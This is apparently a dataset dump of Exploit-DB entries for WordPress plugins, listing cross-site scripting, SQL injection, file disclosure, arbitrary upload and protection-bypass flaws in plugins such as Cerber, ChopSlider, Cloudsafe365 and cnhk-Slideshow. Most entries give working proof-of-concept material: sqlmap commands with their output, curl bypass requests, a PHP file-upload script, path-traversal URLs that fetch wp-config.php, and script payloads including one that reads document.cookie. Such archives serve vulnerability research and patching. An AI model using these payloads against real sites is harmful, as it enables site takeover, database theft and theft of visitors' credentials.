deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38625
Description: WordPress Plugin Category Grid View Gallery - 'ID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-07-02
Author: Iranian Exploit DataBase

Exploit:
source: https://www.securityfocus.com/bid/60905/info

The Category Grid View Gallery plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1172[xss]
Exploit-DB #46497
Description: WordPress Plugin Cerber Security_ Antispam & Malware Scan 8.0 - Multiple Bypass Vulnerabilities
Type: webapps
Platform: php
Date: 2019-03-04
Author: ed0x21son

Exploit:
# Exploit Title: WordPress Cerber Security, Antispam & Malware Scan - Multiple Bypass Vulnerabilities
# Type: WordPress Plugin
# Date: 2019-03-04
# Active installs: 100,000+
# Version: 8.0
# Software Link: https://wordpress.org/plugins/wp-cerber/
# Exploit Author: ed0x21son
# Category: WebApps, WordPress
# Tested on: Linux/WordPress 5.1

[Vulnerabilities]


#1: Stop user enumeration bypass:

U can bypass user enumeration protection if u use Post method instead of Get.

curl http://localhost/ -d author=1



#2: Protect admin scripts bypass:

U can bypass admin scripts protection if u add one or more slashes to the uri.

curl 'http://localhost/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils'
curl 'http://localhost/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar'



#3: Protects wp-login.php, wp-signup.php and wp-register.php from attacks bypass:

U can bypass this protection if u encode any character in the uri.

curl http://localhost/wp-login%2ephp
curl -v http://localhost/wp-signup%2ephp
curl -v http://localhost/wp-register%2ephp



#4: Hide login URL bypass:

U can bypass if u encode any character in the uri, Cerber will return the secret slug in the Location header field.

curl -I http://localhost/wp-%61dmin/



#5: Stop user enumeration via REST API bypass:

U can bypass if u insert /index.php/ between domain and rest route.

curl http:/localhost/index.php/wp-json/wp/v2/users/



#6: Disable REST API bypass:

Same above.

curl http:/localhost/index.php/wp-json/wp/v2/



--ed0x21son
Exploit-DB #17891
Description: WordPress Plugin CevherShare 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-26
Author: bd0rk

Exploit:
=> WordPress CevherShare 2.0 plugin SQL Injection Vulnerability

=> Bugfounder: bd0rk

=> Contact: bd0rk[at]hackermail.com

=> Greetings: Perle, Martin K., Carsten R., x0r_32

=> Affected-Software: WordPress CevherShare 2.0 plugin

=> Vendor: http://phpkode.com/

=> Download: http://phpkode.com/download/s/cevhershare.zip

=> Tested on: Ubuntu-Linux

Vulnerable C0de in cevhershare/cevhershare-admin.php

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

PoC: http://[someone]/wp-content/plugins/cevhershare/cevhershare-admin.php?id=[SQL-Injection]

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
	$pos = $_GET['pos'] ? $_GET['pos'] : $_POST['pos'];
	$status = $_GET['status'] ? $_GET['status'] : $_POST['status'];
	$task = $_GET['t'] ? $_GET['t'] : $_POST['t'];
	$do = $_POST['do'];
	if($do == "update-lang"){
		$uplang = $_POST['update-lang'];
		update_option('cevhershare_language',$uplang);
	}
	if($id)	$item = $wpdb->get_row("SELECT * FROM ".$wpdb->prefix."cevhershare WHERE id=$id");
	if($do == 'update') $wpdb->query("UPDATE ".$wpdb->prefix."cevhershare SET enabled='".$_POST['enabled']."', position='".$_POST['position']."', name='".$_POST['name']."', big='".$_POST['big']."', small='".$_POST['small']."' WHERE id='$id'");
	elseif($do == 'add') $wpdb->query("INSERT INTO ".$wpdb->prefix."cevhershare (position, name, big, small) VALUES('".$_POST['position']."','".$_POST['name']."', '".$_POST['big']."', '".$_POST['small']."')");
	elseif($do == 'delete') $wpdb->query("DELETE FROM ".$wpdb->prefix."cevhershare WHERE id=$id LIMIT 1");
	elseif($do == 'reset') cevhershare_reset();
	elseif($do == 'settings'){

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Greetings from cold Germany, bd0rk. :-)
Exploit-DB #34946
Description: WordPress Plugin cformsII 11.5/13.1 - 'lib_ajax.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-01
Author: Wagner Elias

Exploit:
source: https://www.securityfocus.com/bid/44587/info

The cformsII plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

cformsII 13.1 is vulnerable; other versions may also be affected. 

    Request:

    http://www.example.com/wp-content/plugins/cforms/lib_ajax.php

    POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1

    Host: www.example.com

    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:

    1.9.2.10) Gecko/20100914 Firefox/3.6.10

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-us,en;q=0.5

    Accept-Encoding: gzip,deflate

    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

    Keep-Alive: 115

    Connection: keep-alive

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    Content-Length: 219

    Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do

    %26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce

    %26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do

    %26uploader%3D1%26m11%3Do; wp-settings-time-1=[PII_REDACTED];

    c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t  ;

    comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam

    %40checkpoint.com

    Pragma: no-cache

    Cache-Control: no-cache

    rs=<script>alert(1)</script>&rst=&rsrnd=[PII_REDACTED]54&rsargs[]=1$#

    $<script>alert(1)</script>$#$rbranco_nospam@checkpoint.com$#$http://

    www.checkpoint.com$#$<script>alert(1)</script>
Exploit-DB #45221
Description: WordPress Plugin Chained Quiz 1.0.8 - 'answer' SQL Injection
Type: webapps
Platform: php
Date: 2018-08-20
Author: Çlirim Emini

Exploit:
# Exploit Title: WordPress Plugin Chained Quiz 1.0.8 - 'answer' SQL Injection
# Exploit Author: Çlirim Emini
# Website: https://www.sentry.co.com
# Software Link: https://wordpress.org/plugins/chained-quiz/
# Version/s: 1.0.8 and below
# Patched Version: 1.0.9
# CVE : N/A
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9112

# Vulnerability Description:
# WordPress Plugin Plugin Chained Quiz before 1.0.9 allows remote unauthenticated 
# users to execute arbitrary SQL commands via the 'answer' and 'answers' parameters.

# Technical details:
# Chained Quiz appears to be vulnerable to time-based SQL-Injection.
# The issue lies on the $answer backend variable.
# Privileges required: None

# Proof of Concept (PoC):

sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="answer=1*&question_id=1&quiz_id=1&post_id=1&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1" --dbms=MySQL --technique T
Exploit-DB #37522
Description: WordPress Plugin chenpress - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-07-21
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/54635/info

The chenpress plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

 http://www.example.com/wp-content/plugins/chenpress/FCKeditor/editor/filemanager/browser/mcpuk/browser.html
Exploit-DB #48457
Description: WordPress Plugin ChopSlider 3.4 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-12
Author: SunCSR

Exploit:
# Exploit Title: ChopSlider3 Wordpress Plugin3.4 - 'id' SQL Injection
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Google Dork: N/A
# Date: 2020-05 -12
# Vendor Homepage: https://idangero.us/
# Software Link: https://github.com/idangerous/Plugins
# Version: <= 3.4
# Tested on: Ubuntu 18.04
# CVE: 2020-11530

Description:
A blind SQL injection vulnerability is present in Chop Slider 3
'/wp-content/plugins/chopslider/get_script/index.php':
$cs_result = $wpdb->get_row('SELECT * FROM ' . CHOPSLIDER_TABLE_NAME . '
WHERE chopslider_id =' . $id);

PoC:
Blind SQL injection:
GET /wp-content/plugins/chopslider/get_script/index.php?id=1111111 or
(SELECT sleep(10))=6868
SQLMap using:
sqlmap -u '
http://localhost/wp-content/plugins/chopslider/get_script/index.php?id=[PII_REDACTED]'
--level=5 --risk=3
sqlmap identified the following injection point(s) with a total of 17611
HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: id=-3097 OR 2236=2236

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=[PII_REDACTED] OR SLEEP(5)
---
[08:55:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
Exploit-DB #37483
Description: WordPress Plugin church_admin - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-06
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54329/info

The church_admin plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

church_admin plugin Version 0.33.4.5 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/church-admin/includes/validate.php?id=%3Cscript%3Ealert%28123%29%3C/script%3E
Exploit-DB #37112
Description: WordPress Plugin church_admin 0.800 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-05-26
Author: woodspeed

Exploit:
# Exploit Title: Wordpress church_admin Stored XSS
# Date: 21-04-2015
# Exploit Author: woodspeed
# Vendor Homepage: https://wordpress.org/plugins/church-admin/
# Version: 0.800
# OSVDB ID : http://www.osvdb.org/show/osvdb/121304
# WPVULNDB ID : https://wpvulndb.com/vulnerabilities/7999
# Category: webapps

1. Description

On the registration form the address field is not validated before returning it to the user.
Visiting the Directory page, will show the confirm window.

2. Proof of Concept

POST /wordpress/index.php/2015/05/21/church_admin-registration-form/



save=yes&church_admin_register=9d18cf0420&_wp_http_referer=%2Fwordpress%2Findex.php%2F2015%2F05%2F21%2Fchurch_admin-registration-form%2F&first_name%5B%5D=test&prefix%5B%5D=&last_name%5B%5D=test&mobile%5B%5D=%2B3670&people_type_id%5B%5D=1&email%5B%5D=test%40test.test&sex1=male&phone=%2B3670&address=%3Cscript%3Econfirm%28%29%3C%2Fscript%3E&lat=5[PII_REDACTED]3287&lng=-0[PII_REDACTED]75&recaptcha_challenge_field=03AHJ_VuvBRBO1Vts65lchUe_H_c1AuISniJ4rFDcaPyecjg-HypsHSZSfTkCyZMUC6PjVQAkkuFDfpnsKn28LU8wIMxb9nF5g7XnIYLt0qGzhXcgX4LSX5ul7tPX3RSdussMajZ-_N1YQnOMJZj8b5e5LJgK68Gjf8aaILIyxKud2OF2bmzoZKa56gt1jBbzXBEGASVMMFJ59uB9FsoJIzVRyMJmaXbbrgM01jnSseeg-thefo83fUZS9uuqrBQgqAZGYMmTWdgZ4xvrzXUdv5Zc76ktq-LWKPA&recaptcha_response_field=134


GET /wordpress/index.php/2015/05/21/church_admin-directory/




	<header class="entry-header">
		<h1 class="entry-title">church_admin directory</h1>	</header><!-- .entry-header -->
	<div class="entry-content">
		<p><a href="http://localhost/wordpress/?download=addresslist&addresslist=d759d84e16&member_type_id=1,2">PDF version</a></p><form name="ca_search" action="" method="POST">
<p><label style="width:75px;float:left;">Search</label><input name="ca_search" type="text"/><input type="submit" value="Go"/><input type="hidden" name="ca_search_nonce" value="99de1bedec"/></p></form><div class="tablenav"><div class="tablenav-pages"><div class="pagination"></div>
</div></div>
<div class="church_admin_address" itemscope itemtype="http://schema.org/Person">
	<div class="church_admin_name_address" >
		<p><span itemprop="name"><strong>test test</strong></span></p>
		<p><span itemprop="address" itemscope itemtype="http://schema.org/PostalAddress"><script>confirm()</script></span></p></div><!--church_admin_name_address-->
	<div class="church_admin_phone_email">
		<p> <a class="email" href="tel:+3670">+3670</a><br/>
		<a class="email"  href="tel:+3670"><span itemprop="telephone">+3670</span></a><br/>
<a class="email" itemprop="email" href="mailto:test@test.test">test@test.test</a><br/>

		</p>

	</div><!--church_admin_phone_email--> 

3. Solution

Fixed in version 0.810.
Exploit-DB #14057
Description: WordPress Plugin Cimy Counter - Full Path Disclosure / Redirector / Cross-Site Scripting / HTTP Response Spitting
Type: webapps
Platform: php
Date: 2010-06-26
Author: sebug

Exploit:
----------------------------
Advisory: Vulnerabilities in Cimy Counter for WordPress
-----------------------------
URL: http://sebug.net/exploit/19862/
-----------------------------
Affected products: Cimy Counter 0.9.4 and previous versions.
-----------------------------
Timeline:

20.04.2010 - found vulnerabilities.
28.04.2010 - announced at my site.
29.04.2010 - informed developer.
06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the
author fixed all mentioned vulnerabilities except Redirector (aka URL
Redirector Abuse in WASC TC v2). And I gave him addition argumentation to
fix Redirector hole also.
24.06.2010 - disclosed at my site.
-----------------------------
Details:

These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP
Response Spitting vulnerabilities.

Full path disclosure:

http://site/wp-content/plugins/cimy-counter/cimy_counter.php

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1

Redirector:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua

XSS:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b

HTTP Response Spitting:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test

Works at old versions of PHP.
Exploit-DB #34195
Description: WordPress Plugin Cimy Counter 0.9.4 - HTTP Response Splitting / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-05
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/41132/info

Cimy Counter for WordPress is prone to an HTTP response-splitting vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Versions prior to Cimy Counter for WordPress 0.9.5 are vulnerable. 

The following example URIs are available:

http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b

http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test
Exploit-DB #36338
Description: WordPress Plugin ClickDesk Live Support 2.0 - 'cdwidget' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-23
Author: Amir

Exploit:
source: https://www.securityfocus.com/bid/50778/info

ClickDesk Live Support plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ClickDesk Live Support 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=[xss]
Exploit-DB #37681
Description: WordPress Plugin Cloudsafe365 - 'file' Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-08-28
Author: Jan Van Niekerk

Exploit:
source: https://www.securityfocus.com/bid/55241/info

The Cloudsafe365 plugin for WordPress is prone to a file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view local files in the context of the web server process. This may aid in further attacks. 

http://www.example.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-config.php

http://www.example.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-login.php
Exploit-DB #39190
Description: WordPress Plugin cnhk-Slideshow - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-05-18
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/67469/info

The cnhk-slideshow plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<?php
$uploadfile="file.php";
$ch = curl_init("
http://localhost/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('slideshow'=>"@$uploadfile"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>
Exploit-DB #35460
Description: WordPress Plugin CodeArt Google MP3 Player - File Disclosure Download
Type: webapps
Platform: php
Date: 2014-12-03
Author: QK14 Team

Exploit:
# Exploit Title: Wordpress CodeArt Google MP3 Player plugin - File
Disclosure Download

# Google Dork:
inurl:/wp-content/plugins/google-mp3-audio-player/direct_download.php?file=

# Date: 02/12/2014

# Exploit Author: QK14 Team

# Vendor Homepage: https://wordpress.org/plugins/google-mp3-audio-player/

# Software Link: https://wordpress.org/plugins/google-mp3-audio-player/

# Version: 1.0.11

# http://wordpressa.quantika14.com/repository/index.php?id=14

 

Descripci�n:

 

Este plugin es vulnerable a File Disclosure Download.

Gracias a esta vulnerabilidad, un usuario podr� descargar el archivo de
configuraci�n config.php y extraer de �l los datos de acceso a la Base de
Datos.

 

POF:

localhost/wordpress/wp-content/plugins/google-mp3-audio-player/direct_downlo
ad.php?file=../../../wp-config.php
Exploit-DB #17729
Description: WordPress Plugin Collision Testimonials 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-27
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Collision Testimonials plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/collision-testimonials.zip
# Version: 3.0 (tested)
# Note: user has to be logged in as "admin"

---
PoC
---
http://www.site.com/wp-admin/admin.php?page=testimonials&featQuote&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
if (isset($_GET['featQuote'])) {
    $id = $_GET['id'];
    mysql_query("UPDATE $testimonials SET featured=1 WHERE id=$id");
};
Exploit-DB #35393
Description: WordPress Plugin ComicPress Manager 1.4.9 - 'lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46590/info

The ComicPress Manager plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ComicPress Manager 1.4.9.2 and 1.4.9.9 are vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/comicpress-manager/jscalendar-1.0/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)%3C%2fscript%3E&submitted=
Exploit-DB #36487
Description: WordPress Plugin Comment Rating 2.9.20 - 'path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-03
Author: The Evil Thinker

Exploit:
source: https://www.securityfocus.com/bid/51241/info

The Comment Rating plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex=